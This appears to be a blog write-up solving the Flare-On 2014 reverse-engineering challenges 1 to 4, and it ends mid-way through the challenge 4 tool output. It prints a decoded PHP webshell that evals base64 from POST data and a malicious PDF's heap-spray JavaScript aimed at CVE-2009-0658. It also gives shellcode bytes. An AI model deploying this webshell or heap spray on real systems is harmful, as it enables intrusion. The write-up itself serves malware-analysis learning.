12684 words
63 minutes
Flare-On 2014 Jan 2026
- Category: Malware Analysis and Reverse Engineering
- Difficulty: Easy/Medium/Hard
- File:- 2014_FLAREOn_Challenges.zip
Challenge 1 - Bob Doge
Stage 1 Extracting CAB File
Initial Triage
- File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64, 6 sections
- Size: 279 KB
- SHA256: f8aac4d0cccabd11d7b10d63dc2acc451ea832077650971d3c66834861162981
Basic Static Analysis:
- Detect it Easy (Die) show that this file is self-extracted CAB/SFX style packing, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a wrapper/loader.
- The
.rsrcsection is compressed, which is why the tool flags high entropy, classic sign of packing or encryption. - Compression algorithm used inside the CAB is LZX (as shown), which is common in Microsoft CAB archives.
- So we have to first extract the actual exe from this and analyze it,


- We can extract it using cabextract tool, and it will written in
Challenge1.exefile,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[/]ββ$ cabextract C1.exe.defusedExtracting cabinet: C1.exe.defused extracting Challenge1.exe
All done, no errors.Stage 2 Analysis of .NET Sample
Initial Triage
- File Type: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections
- Size: 118 KB
- SHA256: c1b55c829a8420fa41e7a31344b6427045cea288458fe1c0f32cae47b2e812f2
Basic Static Analysis:
- Detect it Easy (Die) show that this file is
.NETbinary written inC#using visual studio. - Also
.textis packed as per die because it show high entropy in it.


- We know that this code compiles to Microsoft Intermediate Language (MSIL or IL).
- IL is a human-readable, high-level assembly-like language, not raw CPU instructions.
- So we can read it using tools such as
dnSpy,Dotpeeketc. - here is the example of IL,
.method public hidebysig static void Main() cil managed{ .entrypoint ldstr "Hello, world!" call void [mscorlib]System.Console::WriteLine(string) ret}Code Analysis

- I used
dnSpyfor this analysis, - In
Resourcesi found something phishy which isrev_challenge_1.dat_secret.encodeso i saved it and it looks like encrypted data, - Also some cool memes π,


- Now Letβs dive into actual code, so typically we start with
mainfunction inProgramsection, - This code just starts a Windows Forms GUI app and opens Form1 so
Form1is the one we had to go,

- Immediately we see one function
btnDecode_Clickwhich do some kind of math or crypto stuff, and it is loading thatrev_challenge_1.dat_secret.encodefile as input.

- At first glance, honestly, I canβt understand this code, so I take help from our friend GPT to explain it to me, and here is what I understand,
0xa1 0xb5 0x44 (original)0x1a 0x5b 0x44 (swap hex digits)(0x1a ^ 0x29) (0x5b ^ 0x29) (0x44 ^ 0x29) β 0x33 0x72 0x6dFlag Extraction
- So i load this input file into
CyberChefand apply all the necessary filters and features to get decrypted result and here it is,

- Here is out flag,
3rmahg3rd.b0b.d0ge@flare-on.com- Here is recipe of this,
[ { "op": "To Hex", "args": ["Space", 0] }, { "op": "Remove whitespace", "args": [true, true, true, true, true, false] }, { "op": "Find / Replace", "args": [{ "option": "Regex", "string": "([0-9a-fA-F])([0-9a-fA-F])" }, "$2$1", true, false, true, false] }, { "op": "Remove whitespace", "args": [true, true, true, true, true, false] }, { "op": "From Hex", "args": ["Auto"] }, { "op": "XOR", "args": [{ "option": "Decimal", "string": "41" }, "Standard", false] }]- Here is the similar py script for doing this same task,
#!/usr/bin/env python3"""Replicates CyberChef operations:1. From Hexdump2. To Hex (space delimited)3. Remove whitespace4. Find/Replace (swap hex digit pairs)5. Remove whitespace6. From Hex7. XOR with 41 (decimal)"""
import reimport sys
def from_hexdump(data): """Extract hex bytes from hexdump format""" lines = data.strip().split('\n') hex_bytes = []
for line in lines: # Remove offset and ASCII representation, keep only hex bytes parts = line.split() for part in parts: # Skip offset (contains colon) and non-hex parts if ':' in part or not all(c in '0123456789abcdefABCDEF' for c in part): continue # Add hex bytes (typically 2 chars each) for i in range(0, len(part), 2): if i + 1 < len(part): hex_bytes.append(part[i:i+2])
return bytes.fromhex(''.join(hex_bytes))
def to_hex_space(data): """Convert bytes to space-separated hex""" return ' '.join(f'{b:02x}' for b in data)
def remove_whitespace(text): """Remove all whitespace""" return re.sub(r'\s+', '', text)
def swap_hex_pairs(text): """Swap each pair of hex digits: AB -> BA""" return re.sub(r'([0-9a-fA-F])([0-9a-fA-F])', r'\2\1', text)
def from_hex(hex_string): """Convert hex string to bytes""" return bytes.fromhex(hex_string)
def xor_decrypt(data, key): """XOR each byte with the key""" return bytes(b ^ key for b in data)
def main(): input_file = 'rev_challenge_1.dat_secret.encode'
try: # Read input file in binary mode with open(input_file, 'rb') as f: data = f.read()
print(f"[+] Reading from {input_file}")
# Step 1: From Hexdump - skip this step, data is already binary print("[+] Step 1: Using binary data directly") step1 = data
# Step 2: To Hex (space delimited) print("[+] Step 2: To Hex (space delimited)") step2 = to_hex_space(step1)
# Step 3: Remove whitespace print("[+] Step 3: Remove whitespace") step3 = remove_whitespace(step2)
# Step 4: Find/Replace - swap hex digit pairs print("[+] Step 4: Swap hex digit pairs") step4 = swap_hex_pairs(step3)
# Step 5: Remove whitespace (again) print("[+] Step 5: Remove whitespace") step5 = remove_whitespace(step4)
# Step 6: From Hex print("[+] Step 6: From Hex") step6 = from_hex(step5)
# Step 7: XOR with 41 (decimal) print("[+] Step 7: XOR with 41") result = xor_decrypt(step6, 41)
# Output result print("\n" + "="*60) print("DECODED OUTPUT:") print("="*60) try: print(result.decode('utf-8', errors='replace')) except: print(result) print("="*60)
# Save to file output_file = 'decoded_output.txt' with open(output_file, 'wb') as f: f.write(result) print(f"\n[+] Output saved to {output_file}")
except FileNotFoundError: print(f"[!] Error: File '{input_file}' not found") print(f"[!] Please ensure the file exists in the current directory") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") import traceback traceback.print_exc() sys.exit(1)
if __name__ == '__main__': main()Challenge 2: Javascrap
Stage 0 Character Table Construction
Initial Triage
- Challenge Type: Reverse-Engineering / Web / Obfuscated Code
- Files Provided:
home.html- File Type: home.html: HTML document, Unicode text, UTF-8 text, with very long lines (1428), with CRLF line terminators
- Size: 8.17 KB
- SHA256: d1b235e49336c2e510100bd3ffa3113d9c757ffb4829e9564597dbab8338b710
img/flare-on.png(PNG image)- File Type: img/flare-on.png: PNG image data, 400 x 79, 8-bit/color RGBA, non-interlaced
- Size: 9.33 KB
- SHA256: 87528d13f40b51b6de90124fb92bcbc38a54e5241cd7ef969208c0707ed893dd
Basic Static Analysis:
- The PNG is being included as PHP code via an
includein the HTML page: i.e., the challenge hides a PHP script inside what looks like an image.

- Performing strings on
flare-on.pngreveals appended PHP source code instead of pure image data.

- The appended PHP contains two large arrays:
$termsand$order, and a reconstruction loop that builds a second PHP script dynamically.
Stage 1: Obfuscation Decoding
1: Character Table Reconstruction
The embedded PHP begins:

$terms = array("M","Z","]","p",...,"|");$order = array(59,71,73,13,...,47);$do_me="";for($i=0;$i<count($order);$i++){ $do_me=$do_me.$terms[$order[$i]];}print($do_me);$termsis a custom character lookup table - each entry is a single character.$orderis a list of integers, each an index into$terms.- The loop concatenates
$terms[$order[i]]to form a complete PHP script string in$do_me. - Instead of running
eval()immediately, you can replace it withprintto dump the generated code for analysis.
Stage 2: Second-Layer Decoding
After reconstructing the inner PHP, the output looks like:

$_ = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlc ...';$__ = 'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));$_and$__are Base64-encoded strings.$___is obfuscated with hex escape sequences representing the stringbase64_decode.eval($___($__))resolves to:
$code = base64_decode($_);eval($code);This decodes the next stage of the script and executes it.
Stage 3: Escaped Payload Interpretation

The inner decoded PHP is:
if (isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F..."])){ eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104..."]));}- The
$_POSTkey names are obfuscated using a mix of octal (\NNN) and hex (\xNN) escapes. - To understand the actual identifier, all escape sequences must be converted into ASCII.
Stage 4: Normalization and Flag Extraction

The decoded sequence:
a11DOTthatDOTjava5crapATflareDASHonDOTcomcomes from interpreting those escape sequences as numbers and converting them to characters.
Replace placeholder tokens:
-
DOTβ. -
ATβ@ -
DASHβ- -
Final flag:
a11.that.java5crap@flare-on.comFinal Behavior
The decoded PHP callback becomes:
if (isset($_POST["a11.that.java5crap@flare-on.com"])) { eval(base64_decode($_POST["a11.that.java5crap@flare-on.com"]));}- This is a simple PHP webshell that executes Base64-encoded PHP from an HTTP POST field if sent under the correct key.
Challenge 3:
Stage 1 Extracting Shellcode from Wrapper EXE
Initial Triage
- File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
- Size: 7 KB
- SHA256: 4ab2023b2f34c8c49ffd15a051b46b6be13cb84775142ec85403a08c0d846c72
Basic Static Analysis
- Detect it Easy (Die) show that this file is C Compiled File, and
Tiny Ccompiler was used to compile it, also it can be stripped as per file command results. - In Entropy section we can see that there is only 2 section which is
.textand.data,


- PEStudio Shows that most of data is on
.textsection and raw-size is6144 bytes,

Advance Static Analysis
- I have used IDA Free to do disassemble the exe file,
- In that i opened
startfunction which has some interesting functions and particularly thissub_401000,
- In that i opened

- In this
sub_401000function, there are multiple bytes which are being pushed into stack and at the end it being called using this instruction,

.text:00401000 ; int __cdecl sub_401000(_DWORD, _DWORD, _DWORD).text:00401000 sub_401000 proc near ; CODE XREF: start+6Aβp.text:00401000.text:00401000 var_201 = byte ptr -201h.text:00401000 var_200 = byte ptr -200h....text:00401000 push ebp.text:00401001 mov ebp, esp.text:00401003 sub esp, 204h.text:00401009 nop.text:0040100A mov eax, 0E8h.text:0040100F mov [ebp+var_201], al.text:00401015 mov eax, 0.text:0040101A mov [ebp+var_200], al....text:00402492 mov [ebp+var_1], al.text:00402495 lea eax, [ebp+var_201].text:0040249B call eax- It means it means it can
shellcodebecause0E8his being pushed, it meanscall target, - but why this importent,
- Shellcode has a huge problem: It does NOT know its own address
- it can be placed anywhere in memory
- no imports
- no fixed base
- no PE headers
- Shellcode has a huge problem: It does NOT know its own address
Advanced Dynamic Analysis
- So to extract the shellcode we will use
x32dbgbecause we have 32 bit binary and put a breakpoint in this particular0040249Boffset which iscall eaxso we will dumpEAXinto memory and carve it and move further. - But first we land in
entry pointof program,
004024C0 | 55 | push ebp004024C1 | 89E5 | mov ebp,esp004024C3 | 81EC 2C000000 | sub esp,2C
- So we can go to that location using
CTRL + Gshortcut,

- We will put breakpoint using using
F2in that instruction,
00402495 | 8D85 FFFDFFFF | lea eax,dword ptr ss:[ebp-201]0040249B | FFD0 | call eax0040249D | B8 00000000 | mov eax,0
- So now we will run till this breakpoint and dump the
EAXcontent inside the dump windows, - And again we can see that there is
E8 00 00..format which means it will be shellcode so we can dump this using this command,
savedata "C:\Users\Asus\Desktop\shellcode.bin", EAX, 0x4000

- So it will be written in
shellcode.bin,
Stage 2 Analyzing Shellcode
Initial Triage
- File Type: data
- Size: 16 KB
- SHA256: 7d60f98eaa49863a604f75425ced94f86faf2eb9d83e0c1ce7490c852930f44e
Advance Static Analysis
- To get the hex code we can use
HxDtool and copy from there and I usedcutterfor this analysis because it gives graph view, so paste it into thatcutter,

- I remove some bytes which are not that important, after
0xC995,
E8 00 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 07 08 02 46 15 09 46 0F 12 46 04 03 01 0F 08 15 0E 13 15 66 66 0E 15 07 13 14 0E 08 09 16 07 EF 85 8E 66 66 66 66 ED 52 42 E5 A0 4B EF 97 E7 A7 EA 67 66 66 EF BE E5 A6 6C 5F BE 13 63 EF 85 E5 A5 62 5F A8 12 6E EC 75 56 70 25 20 8D 8D 8F 57 66 66 66 6F 6C 62 27 67 62 72 70 6A 35 7C 66 36 60 70 73 33 7A 7C 65 2F 6C 72 27 66 68 33 70 72 78 66 29 7E 66 67 63 33 7D 7D 35 7C 61 73 27 65 66 7A 7A 67 FD 08 09 16 07 9E 33 37 97 D5 0B B1 31 17 07 15 84 EA 14 6D 1B 89 3F 74 48 79 40 90 D2 17 96 E1 0D FD EA FA C8 7F 53 71 5A E9 CE 74 48 79 40 E1 CB EF C2 02 34 45 61 48 20 5F 3C 07 3F 0C 23 1B 3B 0D 28 05 7B 1E 3E 02 2F 09 60 1E 20 10 3E 16 7A ED AD 9C 48 79 40 71 D0 4B 76 E9 80 57 C9 86 C9 BE 85 71 5A 64 C7 AC CB B9 58 48 83 0A 57 E3 A5 F9 83 73 71 B1 27 79 D0 77 7E 62 0B 3F AB 9A B2 62 52 6A 46 66 58 73 00 38 15 39 00 21 5F 25 15 24 1E 32 1E 1F 5B 70 42 7A 1A 7B 18 7E 10 75 15 60 55 3A 55 0D 60 78 17 61 4D 7C 5A 7A 46 26 40 65 0D 31 0B 6F 4B 72 09 71 52 D8 D1 E3 72 0B 2A 17 A4 30 18 DC FA 2F B6 E7 F0 94 06 16 2D 16 F2 CE A2 8A 3D 37 B8 63 21 9B DF 81 ED 40 18 CC 59 03 F5 43 54 06 7C 4B 8D F8 63 E4 F2 5A 76 FA 4A E6 53 62 90 66 13 FF 0C 60 88 4D 38 FF 5E F1 77 7B 7D 40 E1 F0 8E 7B 7C 5B D4 30 39 2A 9E F6 38 49 1F F0 28 99 95 4B F2 61 DB 62 D0 56 48 05 22 12 29 8A D2 45 49 20 75 0D 3F 48 AC F3 29 52 07 A3 34 BB 7F 05 98 10 58 72 C8 E6 67 9D E0 75 88 1B 66 55 73 76 24 1C 7F 19 0D 46 2F 25 35 14 8D 80 B2 2E 4B 01 80 32 1C 95 C9 00
- It is loop that doing some stuff,
- The CALL instruction is not for calling a function
- It is used to steal the current address so the code can decrypt and execute itself.
- So it means
call 5will pushes0x00000005onto stack jumps to0x00000005now stack has[rsp] = address_of_shellcodethenmov esi, [rsp]will push it intoesiwhich means0x05 + 0x1C = 0x21,
- seg000:00000021 to seg000:00000030 is encrypted block,

0x00000000 call 5 ; fcn.00000000(void)0x00000005 mov esi, dword [rsp]0x00000008 add esi, 0x1c0x0000000b mov ecx, 0x1df0x00000010 cmp ecx, 0- Decryption block with key
0x66
0x00000015 xor byte [rsi], 0x660x00000018 jmp 0x10- So here is the whole summarized flow,
call β pop β add offset β xor loop (key 0x66) β jump
- Possible Pseudocode,
base = get_rip();payload = base + 0x1c;
for (i = 0; i < 0x1df; i++) { payload[i] ^= 0x66;}
jump_to(payload);- There is one block which is encrypted so i used,
cyberchefto decrypt it with key0x66


- Decrypted String 1,
and so it begins- But you can see how tedious is this task in static analysis so to do this easiness we can use dynamic method.
Advanced Dynamic Analysis
- Again, i can use
x32dgbfor this task,
Layer 1 XORed Encryption
- This loop is doing decryption of encrypted text
0019FD43 | 83F9 00 | cmp ecx,00019FD46 | 74 07 | je 19FD4F0019FD48 | 8036 66 | xor byte ptr ds:[esi],660019FD4B | 46 | inc esi0019FD4C | 49 | dec ecx0019FD4D | EB F4 | jmp 19FD43
0019FD53 00 61 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E .and so it begin0019FD63 73 68 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61 shus..hsaurhnopa- Decrypted String 1,
so it beginsLayer 2 XORed Encryption
- for next layer just step through the instructions by doing
step over, - This instructions are loading layer 2 decryption key in stack which is
0019FD69 | 68 73617572 | push 727561730019FD6E | 68 6E6F7061 | push 61706F6E0019FD73 | 89E3 | mov ebx,esp- Here is actual key in hex
6E 6F 70 61 72 73 61 75 72 75 73which isnopasaurus,


- Now the actual loop begins and decryption starts using this key
nopasaurus,
0019FD8D | 39D8 | cmp eax,ebx0019FD8F | 75 05 | jne 19FD960019FD91 | 89E3 | mov ebx,esp0019FD93 | 83C3 04 | add ebx,40019FD96 | 39CE | cmp esi,ecx0019FD98 | 74 08 | je 19FDA20019FD9A | 8A13 | mov dl,byte ptr ds:[ebx]0019FD9C | 3016 | xor byte ptr ds:[esi],dl0019FD9E | 43 | inc ebx0019FD9F | 46 | inc esi0019FDA0 | EB EB | jmp 19FD8D
0019FDA6 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 65 .get ready to ge0019FDB6 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D 6E t nop'ed so damn0019FDC6 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 69 hard in the pai0019FDD6 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 01 ntΓ¨.....4$.Γ.ΒΉ8.- Decrypted String 2,
get ready to get nop'ed so damn hard in the paintLayer 3 XORed Encryption
- This is where 3rd loop starts and decryption starts with hardcoded hex
0x624F6C47,

0019FDE3 | B9 38010000 | mov ecx,1380019FDE8 | 83F9 00 | cmp ecx,00019FDEB | 7E 0E | jle 19FDFB0019FDED | 8136 624F6C47 | xor dword ptr ds:[esi],476C4F620019FDF3 | 83C6 04 | add esi,40019FDF6 | 83E9 04 | sub ecx,40019FDF9 | EB ED | jmp 19FDE8- This wrote some gibberish in memory,
0019FDF6 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 00 .Γ©.Γ«Γ...........0019FE06 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 68 .....hr?!?h oveh0019FE16 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 6F mostht alhis iho0019FE26 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 2D mg .ãè.....4$.Γ-- After spending some time i realize that it is actually strings which is being loaded next,

0019FE0B | 68 723F213F | push 3F213F720019FE10 | 68 206F7665 | push 65766F200019FE15 | 68 6D6F7374 | push 74736F6D0019FE1A | 68 7420616C | push 6C6120740019FE1F | 68 69732069 | push 692073690019FE24 | 68 6F6D6720 | push 20676D6F0019FE29 | 89E3 | mov ebx,esp
- I take all hex convert it in
Big endian formatand arrange it inFILO (First in Last out) orderbecause it is loaded in stack so here is the strings, - Interestingly this same text used as key for next layer.
omg i sit almost over?!?
Layer 4 XORed Encryption
- Here is loop which start with previous string as key for decryption routine,
0019FE43 | 39D8 | cmp eax,ebx0019FE45 | 75 05 | jne 19FE4C0019FE47 | 89E3 | mov ebx,esp0019FE49 | 83C3 04 | add ebx,40019FE4C | 39CE | cmp esi,ecx0019FE4E | 74 08 | je 19FE580019FE50 | 8A13 | mov dl,byte ptr ds:[ebx]0019FE52 | 3016 | xor byte ptr ds:[esi],dl0019FE54 | 43 | inc ebx0019FE55 | 46 | inc esi0019FE56 | EB EB | jmp 19FE43
0019FE56 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 31 ëëé....such.5h310019FE66 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F 6E 1010101@flare-on0019FE76 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 20 .comhnt..h speh
- Here is Final Flagβ¦ π
such.5h311010101@flare-on.comChallenge 4:
Stage 1 Malicious PDF Analysis
Initial Triage
- File Type: APT9001.pdf: PDF document, version 1.5
- Size: 21 KB
- SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Basic Static Analysis
- Detect it Easy show nothing,
- I do quick search its hash on VT this is the result,

- 27 out of 65 is pretty high so maybe there is some data which is embedded in PDF.

- So to check that i used
pdfinfotool to see metadata of pdf and here is what is got,- It has some js stuff so we can extract it using tool called, peepdf.

Advance Static Analysis
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~]ββ$ python2 /opt/peepdf/peepdf.py -fil APT9001.pdf
Warning: PyV8 is not installed!!Warning: pylibemu is not installed!!Warning: Python Imaging Library (PIL) is not installed!!
File: APT9001.pdfMD5: f2bf6b87b5ab15a1889bddbe0be0903fSHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0bSHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2cSize: 21284 bytesVersion: 1.5Binary: TrueLinearized: FalseEncrypted: FalseUpdates: 0Objects: 8Streams: 2URIs: 0Comments: 0Errors: 1
Version 0: Catalog: 1 Info: No Objects (8): [1, 2, 3, 4, 5, 6, 7, 8] Errors (1): [8] Streams (2): [6, 8] Encoded (2): [6, 8] Decoding errors (1): [8] Objects with JS code (1): [6] Suspicious elements: /OpenAction (1): [1] /JS (1): [5] /JavaScript (1): [5] Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]- I tried to extract the JS code usingΒ
extract js > extracted.jsΒ which appeared to be successful. - Also this is mind, βAdobe JBIG2Decode Heap Corruption (CVE-2009-0658)β
PPDF> extract js
// peepdf comment: Javascript code located in object 6 (version 0)
var HdPN = "";var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";var IxTUQnOvHg = unescape("%u72f9%u4649%u1.....u5740%ud0ff");var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.lengthwhile (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length < fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;DPwxazRhwbQGu = new Array();for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);while (QCZabMzxQiD.length + bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;- But this looks obfuscated and very messy so I cleaned it,
// peepdf comment: Javascript code located in object 6 (version 0)
var string_variable_2 = "";var string_variable_4 = unescape("%u72f9%u4649%u152....5740%ud0ff");var string_variable_1 = "";
for (counter_variable = 128; counter_variable >= 0; --counter_variable) string_variable_1 += unescape("%ub32f%u3791");string_variable_3 = string_variable_1 + string_variable_4;string_variable_5 = unescape("%ub32f%u3791");
while (string_variable_5.length < 790) string_variable_5 += string_variable_5;
substring1_of_str5 = string_variable_5.substring(0, 790);substring2_of_str5 = string_variable_5.substring(0, string_variable_5.length - 790);
while (substring2_of_str5.length + 790 < 262144) substring2_of_str5 = substring2_of_str5 + substring2_of_str5 + substring1_of_str5;another_array_variable = new Array();
for (counter_variable = 0; counter_variable < 100; counter_variable++) another_array_variable[counter_variable] = substring2_of_str5 + string_variable_3;
for (counter_variable = 142; counter_variable >= 0; --counter_variable) string_variable_2 += unescape("%ub550%u0166");
len_str2_plus20 = string_variable_2.length + 20
while (string_variable_2.length < len_str2_plus20) string_variable_2 += string_variable_2;
substring1_of_str2 = string_variable_2.substring(0, len_str2_plus20);substring2_of_str2 = string_variable_2.substring(0, string_variable_2.length - len_str2_plus20);
while (substring2_of_str2.length + len_str2_plus20 < 262144) substring2_of_str2 = substring2_of_str2 + substring2_of_str2 + substring1_of_str2;array_variable = new Array();
for (counter_variable = 0; counter_variable < 125; counter_variable++) array_variable[counter_variable] = substring2_of_str2 + string_variable_2;- But you might be confused that how this code will executed because it is in PDF right?
- So here comes the interesting thing,
- CVE-2009-0658 is a heap corruption vulnerability in Adobe Readerβs JBIG2Decode filter.
- A malformed JBIG2 image causes memory overwrite in native code.
- JavaScript heap spray is used beforehand to populate predictable heap memory with shellcode.
- When the corrupted pointer is dereferenced, execution jumps into the sprayed heap region, leading to arbitrary code execution.
- One of the first PDF + JS + native bug chains
- So in short, if any user open this code in vulnerable Adobe Reader then this code will execute.
Code Explanation
- It hides malicious code
- The long
%uXXXX%uXXXXdata is hidden machine code / shellcode. unescape()converts it into real binary data.
- The long
- It creates a lot of useless repeated data
- Repeated patterns are added again and again.
- This fills large parts of computer memory.
- It mixes junk + malicious code
- So memory looks like:
junk junk junk β malicious code
- So memory looks like:
- It puts this data many times into memory
- Hundreds of copies are created.
- This is called heap spraying.
- Why it does this
- Later, when Adobe Reader crashes due to a bug,
the program may jump to a random memory address. - Because memory is full of attacker data,
it lands on the malicious code.
- Later, when Adobe Reader crashes due to a bug,
Carving Next Stage
- After some code reading and research i found that
string_variable_4is the var which has next stage shellcode but it is encoded in some format in js so i did research and this is what i found, - TheΒ
unescape()Β function replaces any escape sequence with the character that it represents. Specifically, it replaces any escape sequence of the formΒ%XXΒ orΒ%uXXXXΒ (whereΒXΒ represents one hexadecimal digit) with the character that has the hexadecimal valueΒXX/XXXX. If the escape sequence is not a valid escape sequence (for example, ifΒ%Β is followed by one or no hex digit), it is left as-is.

- So to decode this i used cyberchef, and we have to convert the endianness because it is being written in heap so we will swap it by
word length of 8. - We will save this as
shellcode.bin

- CyberChef Recipe,
[ { "op": "Find / Replace", "args": [{ "option": "Simple string", "string": "%u" }, "", true, false, true, false] }, { "op": "Swap endianness", "args": ["Hex", 2, true] }, { "op": "From Hex", "args": ["Auto"], "disabled": true }]Stage 2 Analyzing Shellcode
Initial Triage
- File Type: data
- Size: 1 KB
- SHA256: 71d7690eaab011871f8e957c354e96baa16ed14ddcf719caf0776917b5eebe2d
Basic Static Analysis
- I quickly check VT for this hash and only 1 out of 54 which means this can be obfuscated and some spoofy things,

- For simplicity i used tool flare-floss for intelligent string analysis and here is what i found,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~]ββ$ /opt/floss shellcode.bin --format sc32
INFO: floss: extracting static stringsfinding decoding function features: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 126.37 functions/s, skipped 0 library functions]INFO: floss.stackstrings: extracting stackstrings from 1 functionsINFO: floss.results: LoadLibraryAINFO: floss.results: user32INFO: floss.results: MessageBoxAINFO: floss.results: OWNED!!!INFO: floss.results: 2OWNED!!!INFO: floss.results: OWNEINFO: floss.results: ExitProcessbextracting stackstrings: 100%|ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 28.02 functions/s]INFO: floss.tightstrings: extracting tightstrings from 0 functions...extracting tightstrings: 0 functions [00:00, ? functions/s]INFO: floss.string_decoder: decoding stringsdecoding strings: 